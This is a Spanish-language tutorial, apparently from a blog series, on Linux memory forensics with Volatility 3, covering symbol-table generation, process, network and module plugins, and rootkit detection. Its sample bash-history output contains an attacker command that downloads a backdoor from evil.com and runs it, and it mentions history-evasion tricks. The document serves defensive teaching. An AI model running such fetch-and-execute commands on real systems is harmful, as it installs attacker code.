Intermediomemory forensicsLinuxVolatilitydwarf2jsonrootkitsforense

Memory Forensics en Linux con Volatility 3: Analisis Completo

Analisis forense de memoria en sistemas Linux con Volatility 3. Generacion de perfiles con dwarf2json, analisis de procesos, bash history, conexiones de red, modulos del kernel, deteccion de rootkits Linux y extraccion de artefactos.

MalwareIntel Research··9 min lectura
Serie: Memory Forensics — Parte 10

Memory forensics fuera de Windows

La mayoria de recursos de memory forensics se centran en Windows, pero Linux es igualmente importante para los analistas forenses. Los servidores Linux dominan los entornos de produccion, cloud y contenedores. Un compromiso de un servidor web Apache, un host Docker, o un nodo Kubernetes implica analisis forense de memoria Linux.

Volatility 3 soporta Linux con un conjunto creciente de plugins, aunque la cobertura es menor que para Windows. El mayor reto es la generacion de tablas de simbolos, que en Linux no tiene la conveniencia de la descarga automatica que Windows ofrece.

Preparacion: tablas de simbolos Linux

El problema de la fragmentacion de kernels

Windows tiene relativamente pocas versiones de kernel en uso simultaneo. Linux tiene miles: cada distribucion compila su propio kernel, con su propia configuracion, y las actualizaciones de seguridad generan nuevas versiones frecuentemente. Un Ubuntu 22.04 actualizado puede tener un kernel 5.15.0-107 que es diferente del 5.15.0-105 de la semana anterior.

Volatility necesita las tablas de simbolos exactas para la version de kernel del dump. Sin ellas, no puede interpretar las estructuras de datos del kernel.

Instalacion de dwarf2json

dwarf2json es la herramienta oficial de Volatility Foundation para generar tablas de simbolos:

git clone https://github.com/volatilityfoundation/dwarf2json.git
cd dwarf2json
go build

Requisito: Go 1.18 o superior.

Generacion de la tabla de simbolos

Necesitas dos ficheros del sistema cuya memoria quieres analizar:

  1. vmlinux con simbolos de debug: el binario del kernel compilado con informacion DWARF.
  2. System.map: el mapa de simbolos del kernel.

En Debian/Ubuntu:

# Instalar el paquete de debug del kernel
sudo apt install linux-image-$(uname -r)-dbg

# Los ficheros estan en:
# /usr/lib/debug/boot/vmlinux-$(uname -r)
# /boot/System.map-$(uname -r)

En CentOS/RHEL:

# Instalar debuginfo
sudo debuginfo-install kernel-$(uname -r)

# Los ficheros estan en:
# /usr/lib/debug/lib/modules/$(uname -r)/vmlinux
# /boot/System.map-$(uname -r)

Generar la tabla:

./dwarf2json linux \
  --elf /usr/lib/debug/boot/vmlinux-6.1.0-18-amd64 \
  --system-map /boot/System.map-6.1.0-18-amd64 \
  > linux-6.1.0-18-amd64.json

El fichero JSON resultante puede ser grande (50 a 200 MB). Colocalo en:

volatility3/symbols/linux/

Tablas precompiladas

Para distribuciones comunes, existen repositorios comunitarios con tablas precompiladas. El proyecto Volatility ISF Server y contribuciones de la comunidad cubren versiones populares de Ubuntu, CentOS, Debian y otras. Buscar en GitHub "volatility3 linux symbols" o en los foros de Volatility.

Plugins de Linux en Volatility 3

Informacion del sistema

vol -f memory.lime linux.bash.Bash

Para verificar que Volatility reconoce el dump y las tablas de simbolos:

vol -f memory.lime banners

Listar procesos

vol -f memory.lime linux.pslist.PsList

Equivalente a pslist en Windows. Recorre la lista de tareas del kernel (task_struct) mostrando:

OFFSET           PID    TID    PPID   COMM
0xffff88800c1234  1      1      0      systemd
0xffff88800c2345  2      2      0      kthreadd
0xffff88800c3456  432    432    1      sshd
0xffff88800c4567  1024   1024   432    sshd
0xffff88800c5678  1025   1025   1024   bash
0xffff88800c6789  5678   5678   1025   python3

La columna COMM muestra los primeros 16 caracteres del nombre del proceso (limitacion del campo comm en task_struct).

Arbol de procesos

vol -f memory.lime linux.pstree.PsTree

Muestra la jerarquia de procesos. En Linux, systemd (PID 1) es el padre de la mayoria de procesos del sistema, y los servicios se organizan en arboles via cgroups.

Un arbol sospechoso:

1    systemd
  432  sshd
    1024  sshd
      1025  bash
        5678  python3
          5679  /bin/sh
            5680  curl

Una cadena bash -> python3 -> /bin/sh -> curl puede indicar un reverse shell o un script de exfiltracion.

Bash history

vol -f memory.lime linux.bash.Bash

Este plugin es extremadamente valioso. Extrae el historial de comandos de todas las sesiones bash activas en el momento del dump:

PID    Process  CommandTime              Command
1025   bash     2026-06-01 14:20:00      whoami
1025   bash     2026-06-01 14:20:05      cat /etc/passwd
1025   bash     2026-06-01 14:20:10      find / -name "*.conf" 2>/dev/null
1025   bash     2026-06-01 14:21:00      wget http://evil.com/backdoor -O /tmp/.hidden
1025   bash     2026-06-01 14:21:10      chmod +x /tmp/.hidden
1025   bash     2026-06-01 14:21:15      /tmp/.hidden

Esto muestra la secuencia completa de comandos del atacante. Ventaja clave sobre el fichero .bash_history: los comandos estan en memoria incluso si el atacante ejecuto unset HISTFILE o export HISTCONTROL=ignoreboth para evitar que se escriban a disco.

Conexiones de red

vol -f memory.lime linux.sockstat.Sockstat

Muestra los sockets abiertos con informacion de proceso, protocolo, direcciones y estado:

Netid   State        PID    Process    Local Address:Port    Peer Address:Port
tcp     ESTABLISHED  5678   python3    192.168.1.100:8080    185.100.87.202:443
tcp     LISTEN       432    sshd       0.0.0.0:22            0.0.0.0:*
tcp     ESTABLISHED  1024   sshd       192.168.1.100:22      10.0.0.50:54321
udp     -            1      systemd    0.0.0.0:68            0.0.0.0:*

La conexion de python3 a una IP externa en puerto 443 es sospechosa y debe correlacionarse con el proceso.

Ficheros abiertos

vol -f memory.lime linux.lsof.Lsof

Equivalente a lsof. Muestra todos los ficheros abiertos por todos los procesos:

PID    Process    FD    Path
5678   python3    0     /dev/pts/0
5678   python3    1     /dev/pts/0
5678   python3    2     /dev/pts/0
5678   python3    3     socket:[12345]
5678   python3    4     /tmp/.hidden
5678   python3    5     /etc/shadow

Un proceso python3 con un socket abierto, un fichero oculto y acceso a /etc/shadow: muy sospechoso.

Mapas de memoria

vol -f memory.lime linux.proc.Maps --pid 5678

Muestra las regiones de memoria mapeadas del proceso, similar a /proc/PID/maps:

Start            End              Perms  Path
0x00400000       0x00450000       r-xp   /usr/bin/python3
0x00650000       0x00651000       r--p   /usr/bin/python3
0x00651000       0x00652000       rw-p   /usr/bin/python3
0x7f1234500000   0x7f1234600000   rwxp   [anon]

Regiones anonimas con permisos rwx (lectura, escritura, ejecucion) en un proceso Python son sospechosas. Python no necesita compilacion JIT a codigo nativo.

Modulos del kernel

vol -f memory.lime linux.lsmod.Lsmod

Lista los modulos del kernel cargados (equivalente a lsmod):

Offset           Name              Size
0xffffffffc0001  e1000             262144
0xffffffffc0010  ext4              786432
0xffffffffc0020  suspicious_mod    4096

Un modulo con nombre generico y tamano inusualmente pequeno puede ser un rootkit. Para analisis adicional:

vol -f memory.lime linux.check_modules.Check_modules

Este plugin compara la lista de modulos con lo que el kernel reporta, detectando modulos ocultos que fueron removidos de la lista pero siguen cargados en memoria.

Deteccion de rootkits Linux

Syscall table hooking

vol -f memory.lime linux.check_syscall.Check_syscall

Verifica que las entradas de la tabla de syscalls apuntan a funciones dentro del kernel. Un hook redirige una syscall a un modulo externo:

Table   Index  Address            Symbol               Module
64bit   0      0xffffffff81234000  sys_read             vmlinux
64bit   78     0xffffffffc0020100  HOOKED               suspicious_mod

La syscall 78 (getdents64, usada para listar directorios) esta hookeada por suspicious_mod. Esto permite al rootkit ocultar ficheros del listado de directorios.

Verificacion de /proc

vol -f memory.lime linux.check_creds.Check_creds

Busca procesos con credenciales anomalas (UID 0 inesperado):

Un proceso bash con UID 0 que fue lanzado desde un proceso con UID no privilegiado indica escalada de privilegios.

Modulos del kernel ocultos

vol -f memory.lime linux.hidden_modules.Hidden_modules

Detecta modulos que se auto-eliminaron de la lista de modulos pero siguen en memoria. Tecnica comun de rootkits Linux: el modulo se carga, se ejecuta, y se elimina de la lista para no aparecer en lsmod.

Diferencias clave con Windows forensics

Estructura task_struct vs EPROCESS

La estructura que describe un proceso en Linux es task_struct. Es mas simple que EPROCESS pero contiene informacion equivalente: PID, PPID, nombre, credenciales, lista de ficheros abiertos, mapa de memoria.

Perfiles vs tablas de simbolos

Linux tiene mucha mas variabilidad de kernels. Donde Windows puede tener 50 versiones de kernel en uso comun, Linux tiene miles. La generacion de tablas de simbolos es un paso manual que requiere acceso al paquete de debug del kernel.

Rootkits: LKM vs drivers

Los rootkits de kernel en Linux se implementan tipicamente como Loadable Kernel Modules (LKM). La deteccion es similar conceptualmente (comparar listas, verificar hooks) pero las estructuras son diferentes.

Contenedores y namespaces

Un aspecto unico de Linux es que los procesos pueden estar en namespaces y cgroups (contenedores Docker/Kubernetes). Un proceso en un contenedor tiene su propio arbol de procesos, red y sistema de ficheros, pero comparte el kernel del host. El volcado de memoria del host contiene todos los procesos de todos los contenedores.

Para un analista, esto significa que un dump de un host Docker puede contener decenas de entornos aislados. La correlacion de proceso a contenedor requiere analisis de los cgroup assignments.

eBPF como vector de ataque

eBPF (extended Berkeley Packet Filter) es una tecnologia del kernel Linux que permite ejecutar programas sandbox en el kernel. Originalmente disenada para networking y observabilidad, eBPF se ha convertido en un vector de ataque:

  • Programas eBPF maliciosos pueden interceptar syscalls, modificar paquetes de red, y exfiltrar datos.
  • eBPF opera a nivel de kernel pero no aparece como modulo del kernel.
  • La deteccion requiere analizar las estructuras de eBPF en memoria.

Volatility 3 tiene soporte limitado para eBPF actualmente. La verificacion manual de los programas eBPF cargados es un area activa de desarrollo.

Caso practico: servidor Linux comprometido

Un servidor web Ubuntu recibe una alerta de trafico sospechoso. Capturamos memoria con LiME y analizamos:

# Procesos
vol -f server.lime linux.pslist.PsList
# Resultado: proceso python3 (PID 5678) lanzado desde bash (PID 1025)

# Bash history
vol -f server.lime linux.bash.Bash
# Resultado: wget de backdoor, chmod +x, ejecucion

# Red
vol -f server.lime linux.sockstat.Sockstat
# Resultado: python3 conectado a 185.100.87.202:443

# Ficheros abiertos
vol -f server.lime linux.lsof.Lsof --pid 5678
# Resultado: /etc/shadow abierto (exfiltracion de hashes)

# Modulos del kernel
vol -f server.lime linux.check_modules.Check_modules
# Resultado: modulo oculto detectado

# Syscall hooks
vol -f server.lime linux.check_syscall.Check_syscall
# Resultado: getdents64 hookeada (ocultacion de ficheros)

La secuencia reconstruida: el atacante accedio via SSH, descargo un backdoor, lo ejecuto, establecio C2, exfiltro /etc/shadow, y cargo un rootkit de kernel que oculta sus ficheros.

Proximo paso

El siguiente articulo presenta un caso de estudio completo: un volcado de memoria de un sistema infectado analizado paso a paso, desde la adquisicion hasta la reconstruccion completa del incidente y la identificacion de la familia de malware.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.